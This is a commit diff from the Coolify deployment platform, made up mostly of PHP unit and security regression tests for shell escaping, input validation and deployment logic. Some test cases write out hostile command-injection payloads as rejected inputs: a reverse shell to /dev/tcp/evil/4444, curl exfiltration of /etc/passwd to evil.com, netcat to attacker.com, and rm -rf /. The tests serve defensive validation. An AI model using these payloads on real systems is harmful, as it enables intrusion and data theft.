Merge remote-tracking branch 'origin/next' into 2731-investigate-failed-git-clone

This commit is contained in:
Andras Bacsai committed 2026-04-03 09:05:13 +02:00
commit 7542c71dc4
526 files changed
+35656 -4543

No files matched your search

@@ -88,11 +88,11 @@ it('filters out null environment variables from nixpacks build command', functio
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
// Verify that only valid environment variables are included
expect($envArgs)->toContain('--env VALID_VAR=valid_value');
expect($envArgs)->toContain('--env ANOTHER_VALID_VAR=another_value');
expect($envArgs)->toContain('--env COOLIFY_FQDN=example.com');
expect($envArgs)->toContain('--env SOURCE_COMMIT=abc123');
// Verify that only valid environment variables are included (values are now single-quote escaped)
expect($envArgs)->toContain("--env 'VALID_VAR=valid_value'");
expect($envArgs)->toContain("--env 'ANOTHER_VALID_VAR=another_value'");
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=example.com'");
expect($envArgs)->toContain("--env 'SOURCE_COMMIT=abc123'");
// Verify that null and empty environment variables are filtered out
expect($envArgs)->not->toContain('NULL_VAR');
@@ -102,7 +102,7 @@ it('filters out null environment variables from nixpacks build command', functio
// Verify no environment variables end with just '=' (which indicates null/empty value)
expect($envArgs)->not->toMatch('/--env [A-Z_]+=$/');
expect($envArgs)->not->toMatch('/--env [A-Z_]+= /');
expect($envArgs)->not->toMatch("/--env '[A-Z_]+='$/");
});
it('filters out null environment variables from nixpacks preview deployments', function () {
@@ -164,9 +164,9 @@ it('filters out null environment variables from nixpacks preview deployments', f
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
// Verify that only valid environment variables are included
expect($envArgs)->toContain('--env PREVIEW_VAR=preview_value');
expect($envArgs)->toContain('--env COOLIFY_FQDN=preview.example.com');
// Verify that only valid environment variables are included (values are now single-quote escaped)
expect($envArgs)->toContain("--env 'PREVIEW_VAR=preview_value'");
expect($envArgs)->toContain("--env 'COOLIFY_FQDN=preview.example.com'");
// Verify that null environment variables are filtered out
expect($envArgs)->not->toContain('NULL_PREVIEW_VAR');
@@ -236,6 +236,48 @@ it('handles all environment variables being null or empty', function () {
expect($envArgs)->toBe('');
});
it('filters out null coolify env variables from env_args used in nixpacks plan JSON', function () {
// This test verifies the fix for GitHub issue #6830:
// When application->fqdn is null, COOLIFY_FQDN/COOLIFY_URL get set to null
// in generate_coolify_env_variables(). The generate_env_variables() method
// merges these into env_args which become the nixpacks plan JSON "variables".
// Nixpacks requires all variable values to be strings, so null causes:
// "Error: Failed to parse Nixpacks config file - invalid type: null, expected a string"
// Simulate the coolify env collection with null values (as produced when fqdn is null)
$coolify_envs = collect([
'COOLIFY_URL' => null,
'COOLIFY_FQDN' => null,
'COOLIFY_BRANCH' => 'main',
'COOLIFY_RESOURCE_UUID' => 'abc123',
'COOLIFY_CONTAINER_NAME' => '',
]);
// Apply the same filtering logic used in generate_env_variables()
$env_args = collect([]);
$coolify_envs->each(function ($value, $key) use ($env_args) {
if (! is_null($value) && $value !== '') {
$env_args->put($key, $value);
}
});
// Null values must NOT be present — they cause nixpacks JSON parse errors
expect($env_args->has('COOLIFY_URL'))->toBeFalse();
expect($env_args->has('COOLIFY_FQDN'))->toBeFalse();
expect($env_args->has('COOLIFY_CONTAINER_NAME'))->toBeFalse();
// Non-null values must be preserved
expect($env_args->get('COOLIFY_BRANCH'))->toBe('main');
expect($env_args->get('COOLIFY_RESOURCE_UUID'))->toBe('abc123');
// The resulting array must be safe for json_encode into nixpacks config
$json = json_encode(['variables' => $env_args->toArray()], JSON_PRETTY_PRINT);
$parsed = json_decode($json, true);
foreach ($parsed['variables'] as $value) {
expect($value)->toBeString();
}
});
it('preserves environment variables with zero values', function () {
// Mock application with nixpacks build pack
$mockApplication = Mockery::mock(Application::class);
@@ -293,7 +335,7 @@ it('preserves environment variables with zero values', function () {
$envArgsProperty->setAccessible(true);
$envArgs = $envArgsProperty->getValue($job);
// Verify that zero and false string values are preserved
expect($envArgs)->toContain('--env ZERO_VALUE=0');
expect($envArgs)->toContain('--env FALSE_VALUE=false');
// Verify that zero and false string values are preserved (values are now single-quote escaped)
expect($envArgs)->toContain("--env 'ZERO_VALUE=0'");
expect($envArgs)->toContain("--env 'FALSE_VALUE=false'");
});
+45 -2
View File
@@ -1,11 +1,54 @@
<?php
use App\Models\Application;
use App\Models\GithubApp;
it('treats zero private key id as deploy key', function () {
$application = new Application();
it('returns deploy_key when private_key_id is a real key', function () {
$application = new Application;
$application->private_key_id = 5;
expect($application->deploymentType())->toBe('deploy_key');
});
it('returns deploy_key when private_key_id is a real key even with source', function () {
$application = Mockery::mock(Application::class)->makePartial();
$application->private_key_id = 5;
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(5);
expect($application->deploymentType())->toBe('deploy_key');
});
it('returns source when private_key_id is null and source exists', function () {
$application = Mockery::mock(Application::class)->makePartial();
$application->private_key_id = null;
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
expect($application->deploymentType())->toBe('source');
});
it('returns source when private_key_id is zero and source exists', function () {
$application = Mockery::mock(Application::class)->makePartial();
$application->private_key_id = 0;
$application->shouldReceive('getAttribute')->with('source')->andReturn(new GithubApp);
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(0);
expect($application->deploymentType())->toBe('source');
});
it('returns deploy_key when private_key_id is zero and no source', function () {
$application = new Application;
$application->private_key_id = 0;
$application->source = null;
expect($application->deploymentType())->toBe('deploy_key');
});
it('returns other when private_key_id is null and no source', function () {
$application = Mockery::mock(Application::class)->makePartial();
$application->shouldReceive('getAttribute')->with('source')->andReturn(null);
$application->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
expect($application->deploymentType())->toBe('other');
});
+141
View File
@@ -81,3 +81,144 @@ test('database backup accepts legitimate database names', function () {
expect(fn () => validateShellSafePath('test123', 'database name'))
->not->toThrow(Exception::class);
});
// --- MongoDB collection name validation tests ---
test('mongodb collection name rejects command substitution injection', function () {
expect(fn () => validateShellSafePath('$(touch /tmp/pwned)', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects backtick injection', function () {
expect(fn () => validateShellSafePath('`id > /tmp/pwned`', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects semicolon injection', function () {
expect(fn () => validateShellSafePath('col1; rm -rf /', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects ampersand injection', function () {
expect(fn () => validateShellSafePath('col1 & whoami', 'collection name'))
->toThrow(Exception::class);
});
test('mongodb collection name rejects redirect injection', function () {
expect(fn () => validateShellSafePath('col1 > /tmp/pwned', 'collection name'))
->toThrow(Exception::class);
});
test('validateDatabasesBackupInput validates mongodb format with collection names', function () {
// Valid MongoDB formats should pass
expect(fn () => validateDatabasesBackupInput('mydb'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('mydb:col1,col2'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('db1:col1,col2|db2:col3'))
->not->toThrow(Exception::class);
expect(fn () => validateDatabasesBackupInput('all'))
->not->toThrow(Exception::class);
});
test('validateDatabasesBackupInput rejects injection in collection names', function () {
// Command substitution in collection name
expect(fn () => validateDatabasesBackupInput('mydb:$(touch /tmp/pwned)'))
->toThrow(Exception::class);
// Backtick injection in collection name
expect(fn () => validateDatabasesBackupInput('mydb:`id`'))
->toThrow(Exception::class);
// Semicolon in collection name
expect(fn () => validateDatabasesBackupInput('mydb:col1;rm -rf /'))
->toThrow(Exception::class);
});
test('validateDatabasesBackupInput rejects injection in database name within mongo format', function () {
expect(fn () => validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
// --- Credential escaping tests for database backup commands ---
test('escapeshellarg neutralizes command injection in postgres password', function () {
$maliciousPassword = '"; rm -rf / #';
$escaped = escapeshellarg($maliciousPassword);
// The escaped value must be a single shell token that cannot break out
expect($escaped)->not->toContain("\n");
expect($escaped)->toBe("'\"; rm -rf / #'");
// When used in: -e PGPASSWORD=<escaped>, the shell sees one token
$command = 'docker exec -e PGPASSWORD='.$escaped.' container pg_dump';
expect($command)->toContain("PGPASSWORD='");
expect($command)->not->toContain('PGPASSWORD=""');
});
test('escapeshellarg neutralizes command injection in postgres username', function () {
$maliciousUser = 'admin$(whoami)';
$escaped = escapeshellarg($maliciousUser);
expect($escaped)->toBe("'admin\$(whoami)'");
$command = "docker exec container pg_dump --username $escaped";
// The $() should be inside single quotes, preventing execution
expect($command)->toContain("--username 'admin\$(whoami)'");
});
test('escapeshellarg neutralizes command injection in mysql password', function () {
$maliciousPassword = 'pass" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousPassword);
$command = "docker exec container mysqldump -u root -p$escaped db";
// The password must be wrapped in single quotes
expect($command)->toContain("-p'pass\" && curl http://evil.com #'");
});
test('escapeshellarg neutralizes command injection in mariadb password', function () {
$maliciousPassword = "pass'; whoami; echo '";
$escaped = escapeshellarg($maliciousPassword);
// Single quotes in the value get escaped as '\''
expect($escaped)->toBe("'pass'\\'''; whoami; echo '\\'''");
$command = "docker exec container mariadb-dump -u root -p$escaped db";
// Verify the command doesn't contain an unescaped semicolon outside quotes
expect($command)->toContain("-p'pass'");
});
test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
$maliciousUser = 'admin";$(whoami)';
$maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
$encodedUser = rawurlencode($maliciousUser);
$encodedPass = rawurlencode($maliciousPass);
$url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
// Special characters should be percent-encoded
expect($encodedUser)->not->toContain('"');
expect($encodedUser)->not->toContain('$');
expect($encodedUser)->not->toContain('(');
expect($encodedPass)->not->toContain('@');
expect($encodedPass)->not->toContain('/');
expect($encodedPass)->not->toContain('?');
expect($encodedPass)->not->toContain('&');
// The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
$atCount = substr_count($url, '@');
expect($atCount)->toBe(1);
});
test('escapeshellarg on mongodb URI prevents shell breakout', function () {
// Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
$maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
$escaped = escapeshellarg($maliciousUrl);
$command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
// The entire URI must be inside single quotes
expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
expect($command)->toContain("evil.com #'");
// No unescaped double quotes that could break the command
expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
});
@@ -0,0 +1,74 @@
<?php
use Tests\TestCase;
uses(TestCase::class);
it('strips newlines from pre_deployment_command before building sh -c wrapper', function () {
$exec = buildDeploymentExecCommand("echo hello\necho injected");
expect($exec)->not->toContain("\n")
->and($exec)->not->toContain("\r")
->and($exec)->toContain('echo hello echo injected')
->and($exec)->toMatch("/^docker exec .+ sh -c '.+'$/");
});
it('strips carriage returns from deployment command', function () {
$exec = buildDeploymentExecCommand("echo hello\r\necho injected");
expect($exec)->not->toContain("\r")
->and($exec)->not->toContain("\n")
->and($exec)->toContain('echo hello echo injected');
});
it('strips bare carriage returns from deployment command', function () {
$exec = buildDeploymentExecCommand("echo hello\recho injected");
expect($exec)->not->toContain("\r")
->and($exec)->toContain('echo hello echo injected');
});
it('leaves single-line deployment command unchanged', function () {
$exec = buildDeploymentExecCommand('php artisan migrate --force');
expect($exec)->toContain("sh -c 'php artisan migrate --force'");
});
it('prevents newline injection with malicious payload', function () {
// Attacker tries to inject a second command via newline in heredoc transport
$exec = buildDeploymentExecCommand("harmless\ncurl http://evil.com/exfil?\$(cat /etc/passwd)");
expect($exec)->not->toContain("\n")
// The entire command should be on a single line inside sh -c
->and($exec)->toContain('harmless curl http://evil.com/exfil');
});
it('handles multiple consecutive newlines', function () {
$exec = buildDeploymentExecCommand("cmd1\n\n\ncmd2");
expect($exec)->not->toContain("\n")
->and($exec)->toContain('cmd1 cmd2');
});
it('properly escapes single quotes after newline normalization', function () {
$exec = buildDeploymentExecCommand("echo 'hello'\necho 'world'");
expect($exec)->not->toContain("\n")
->and($exec)->toContain("echo '\\''hello'\\''")
->and($exec)->toContain("echo '\\''world'\\''");
});
/**
* Replicates the exact command-building logic from ApplicationDeploymentJob's
* run_pre_deployment_command() and run_post_deployment_command() methods.
*
* This tests the security-critical str_replace + sh -c wrapping in isolation.
*/
function buildDeploymentExecCommand(string $command, string $containerName = 'my-app-abcdef123'): string
{
// This mirrors the exact logic in run_pre_deployment_command / run_post_deployment_command
$normalized = str_replace(["\r\n", "\r", "\n"], ' ', $command);
$cmd = "sh -c '".str_replace("'", "'\''", $normalized)."'";
return "docker exec {$containerName} {$cmd}";
}
@@ -75,6 +75,55 @@ it('uses host paths for env-file when preserveRepository is true', function () {
expect($startCommand)->toContain("-f {$serverWorkdir}{$composeLocation}");
});
it('injects --project-directory with host path when preserveRepository is true', function () {
$serverWorkdir = '/data/coolify/applications/app-uuid';
$containerWorkdir = '/artifacts/deployment-uuid';
$preserveRepository = true;
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
if (! str($customStartCommand)->contains('--project-directory')) {
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
}
// When preserveRepository is true, --project-directory must point to host path
expect($customStartCommand)->toContain("--project-directory {$serverWorkdir}");
expect($customStartCommand)->not->toContain('/artifacts/');
});
it('injects --project-directory with container path when preserveRepository is false', function () {
$serverWorkdir = '/data/coolify/applications/app-uuid';
$containerWorkdir = '/artifacts/deployment-uuid';
$preserveRepository = false;
$customStartCommand = 'docker compose -f docker-compose.yaml -f docker-compose.prod.yaml up -d';
// Simulate the --project-directory injection from deploy_docker_compose_buildpack()
if (! str($customStartCommand)->contains('--project-directory')) {
$projectDir = $preserveRepository ? $serverWorkdir : $containerWorkdir;
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory '.$projectDir)->value();
}
// When preserveRepository is false, --project-directory must point to container path
expect($customStartCommand)->toContain("--project-directory {$containerWorkdir}");
expect($customStartCommand)->not->toContain('/data/coolify/applications/');
});
it('does not override explicit --project-directory in custom start command', function () {
$customProjectDir = '/custom/path';
$customStartCommand = "docker compose --project-directory {$customProjectDir} up -d";
// Simulate the --project-directory injection — should be skipped
if (! str($customStartCommand)->contains('--project-directory')) {
$customStartCommand = str($customStartCommand)->replaceFirst('compose', 'compose --project-directory /should-not-appear')->value();
}
expect($customStartCommand)->toContain("--project-directory {$customProjectDir}");
expect($customStartCommand)->not->toContain('/should-not-appear');
});
it('uses container paths for env-file when preserveRepository is false', function () {
$workdir = '/artifacts/deployment-uuid/backend';
$composeLocation = '/compose.yml';
@@ -0,0 +1,76 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
it('prefers the preview specific docker image tag for preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 42);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'latest',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('pr_42');
});
it('falls back to the application docker image tag for non preview deployments', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => 'stable',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, 'pr_42');
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('stable');
});
it('falls back to latest when neither preview nor application tags are set', function () {
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 7);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, new Application([
'docker_registry_image_tag' => '',
]));
$previewTagProperty = $reflection->getProperty('dockerImagePreviewTag');
$previewTagProperty->setAccessible(true);
$previewTagProperty->setValue($job, null);
$method = $reflection->getMethod('resolveDockerImageTag');
$method->setAccessible(true);
expect($method->invoke($job))->toBe('latest');
});
+48
View File
@@ -0,0 +1,48 @@
<?php
use App\Models\StandaloneDocker;
use App\Models\SwarmDocker;
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'space injection' => 'net work',
])->throws(InvalidArgumentException::class);
it('StandaloneDocker accepts valid network names', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'alphanumeric' => 'network123',
]);
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
])->throws(InvalidArgumentException::class);
it('SwarmDocker accepts valid network names', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
]);
+57
View File
@@ -0,0 +1,57 @@
<?php
it('wraps a simple value in single quotes', function () {
expect(escapeShellValue('hello'))->toBe("'hello'");
});
it('escapes single quotes in the value', function () {
expect(escapeShellValue("it's"))->toBe("'it'\\''s'");
});
it('handles empty string', function () {
expect(escapeShellValue(''))->toBe("''");
});
it('preserves && in a single-quoted value', function () {
$result = escapeShellValue('npx prisma generate && npm run build');
expect($result)->toBe("'npx prisma generate && npm run build'");
});
it('preserves special shell characters in value', function () {
$result = escapeShellValue('echo $HOME; rm -rf /');
expect($result)->toBe("'echo \$HOME; rm -rf /'");
});
it('handles value with double quotes', function () {
$result = escapeShellValue('say "hello"');
expect($result)->toBe("'say \"hello\"'");
});
it('produces correct output when passed through executeInDocker', function () {
// Simulate the exact issue from GitHub #9042:
// NIXPACKS_BUILD_CMD with chained && commands
$envValue = 'npx prisma generate && npx prisma db push && npm run build';
$escapedEnv = '--env '.escapeShellValue("NIXPACKS_BUILD_CMD={$envValue}");
$command = "nixpacks plan -f json {$escapedEnv} /app";
$dockerCmd = executeInDocker('test-container', $command);
// The && must NOT appear unquoted at the bash -c level
// The full docker command should properly nest the quoting
expect($dockerCmd)->toContain('NIXPACKS_BUILD_CMD=npx prisma generate && npx prisma db push && npm run build');
// Verify it's wrapped in docker exec bash -c
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
expect($dockerCmd)->toEndWith("'");
});
it('produces correct output for build-cmd with chained commands through executeInDocker', function () {
$buildCmd = 'npx prisma generate && npm run build';
$escapedCmd = escapeShellValue($buildCmd);
$command = "nixpacks plan -f json --build-cmd {$escapedCmd} /app";
$dockerCmd = executeInDocker('test-container', $command);
// The build command value must remain intact inside the quoting
expect($dockerCmd)->toContain('npx prisma generate && npm run build');
expect($dockerCmd)->toStartWith("docker exec test-container bash -c '");
});
+50
View File
@@ -91,3 +91,53 @@ test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
// These verify that file mount paths (not just directory mounts) are validated,
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
test('file storage rejects command injection in file mount path context', function () {
$maliciousPaths = [
'/app/config$(id)',
'/app/config;whoami',
'/app/config|cat /etc/passwd',
'/app/config`id`',
'/app/config&whoami',
'/app/config>/tmp/pwned',
'/app/config</etc/shadow',
"/app/config\nrm -rf /",
];
foreach ($maliciousPaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->toThrow(Exception::class);
}
});
test('file storage rejects variable substitution in paths', function () {
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
->toThrow(Exception::class);
});
test('file storage accepts safe file mount paths', function () {
$safePaths = [
'/etc/nginx/nginx.conf',
'/app/.env',
'/data/coolify/services/abc123/config.yml',
'/var/www/html/index.php',
'/opt/app/config/database.json',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->not->toThrow(Exception::class);
}
});
test('file storage accepts relative dot-prefixed paths', function () {
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('./data', 'storage path'))
->not->toThrow(Exception::class);
});
+10 -8
View File
@@ -1,12 +1,14 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
/**
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
*
* Ensures that git_commit_sha and related inputs are validated
* to prevent OS command injection via shell metacharacters.
*/
describe('validateGitRef', function () {
test('accepts valid hex commit SHAs', function () {
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
@@ -93,31 +95,31 @@ describe('validateGitRef', function () {
describe('executeInDocker git log escaping', function () {
test('git log command escapes commit SHA to prevent injection', function () {
$maliciousCommit = "HEAD'; id; #";
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';
$result = executeInDocker('test-container', $command);
// The malicious payload must not be able to break out of quoting
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("'HEAD'\\''");
});
});
describe('buildGitCheckoutCommand escaping', function () {
test('checkout command escapes target to prevent injection', function () {
$app = new \App\Models\Application;
$app->forceFill(['uuid' => 'test-uuid']);
$app = new Application;
$app->fill(['uuid' => 'test-uuid']);
$settings = new \App\Models\ApplicationSetting;
$settings = new ApplicationSetting;
$settings->is_git_submodules_enabled = false;
$app->setRelation('settings', $settings);
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
$method = new ReflectionMethod($app, 'buildGitCheckoutCommand');
$result = $method->invoke($app, 'abc123');
expect($result)->toContain("git checkout 'abc123'");
$result = $method->invoke($app, "abc'; id; #");
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("git checkout 'abc'");
});
});
+91
View File
@@ -0,0 +1,91 @@
<?php
use App\Models\Application;
use App\Models\GitlabApp;
use App\Models\PrivateKey;
afterEach(function () {
Mockery::close();
});
it('generates ls-remote commands for GitLab source with private key', function () {
$deploymentUuid = 'test-deployment-uuid';
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1);
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'git@gitlab.com:user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$application->source = $gitlabSource;
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
expect($result)->toBeArray();
expect($result)->toHaveKey('commands');
expect($result['commands'])->toContain('git ls-remote');
expect($result['commands'])->toContain('id_rsa');
expect($result['commands'])->toContain('mkdir -p /root/.ssh');
});
it('generates ls-remote commands for GitLab source without private key', function () {
$deploymentUuid = 'test-deployment-uuid';
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'https://gitlab.com/user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$application->source = $gitlabSource;
$result = $application->generateGitLsRemoteCommands($deploymentUuid, false);
expect($result)->toBeArray();
expect($result)->toHaveKey('commands');
expect($result['commands'])->toContain('git ls-remote');
expect($result['commands'])->toContain('https://gitlab.com/user/repo.git');
// Should NOT contain SSH key setup
expect($result['commands'])->not->toContain('id_rsa');
});
it('does not return null for GitLab source type', function () {
$deploymentUuid = 'test-deployment-uuid';
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
$gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class);
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null);
$gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null);
$application = Mockery::mock(Application::class)->makePartial();
$application->git_branch = 'main';
$application->shouldReceive('deploymentType')->andReturn('source');
$application->shouldReceive('customRepository')->andReturn([
'repository' => 'https://gitlab.com/user/repo.git',
'port' => 22,
]);
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
$application->source = $gitlabSource;
$lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false);
expect($lsRemoteResult)->not->toBeNull();
expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']);
});
+73 -3
View File
@@ -5,6 +5,9 @@ use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationSetting;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
beforeEach(function () {
Mockery::close();
@@ -176,11 +179,11 @@ it('generates CMD healthcheck command directly', function () {
it('strips newlines from CMD healthcheck command', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => "redis-cli ping\n&& echo pwned",
'health_check_command' => "redis-cli\nping",
]);
expect($result)->not->toContain("\n")
->and($result)->toBe('redis-cli ping && echo pwned');
->and($result)->toBe('redis-cli ping');
});
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
@@ -193,6 +196,68 @@ it('falls back to HTTP healthcheck when CMD type has empty command', function ()
expect($result)->toContain('curl -s -X');
});
it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'curl localhost; rm -rf /',
]);
// Semicolons are blocked by runtime regex — falls back to HTTP healthcheck
expect($result)->toContain('curl -s -X')
->and($result)->not->toContain('rm -rf');
});
it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'echo test | nc attacker.com 4444',
]);
expect($result)->toContain('curl -s -X')
->and($result)->not->toContain('nc attacker.com');
});
it('falls back to HTTP healthcheck when CMD command contains subshell', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'curl $(cat /etc/passwd)',
]);
expect($result)->toContain('curl -s -X')
->and($result)->not->toContain('/etc/passwd');
});
it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => str_repeat('a', 1001),
]);
// Exceeds max length — falls back to HTTP healthcheck
expect($result)->toContain('curl -s -X');
});
it('falls back to HTTP healthcheck when CMD command contains backticks', function () {
$result = callGenerateHealthcheckCommands([
'health_check_type' => 'cmd',
'health_check_command' => 'curl `cat /etc/passwd`',
]);
expect($result)->toContain('curl -s -X')
->and($result)->not->toContain('/etc/passwd');
});
it('uses sanitized method in full_healthcheck_url display', function () {
$result = callGenerateHealthcheckCommands([
'health_check_method' => 'INVALID;evil',
'health_check_host' => 'localhost',
]);
// Method should be sanitized to 'GET' (default) in both command and display
expect($result)->toContain("'GET'")
->and($result)->not->toContain('evil');
});
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
@@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
$deploymentQueue->shouldReceive('addLogEntry')->andReturnNull();
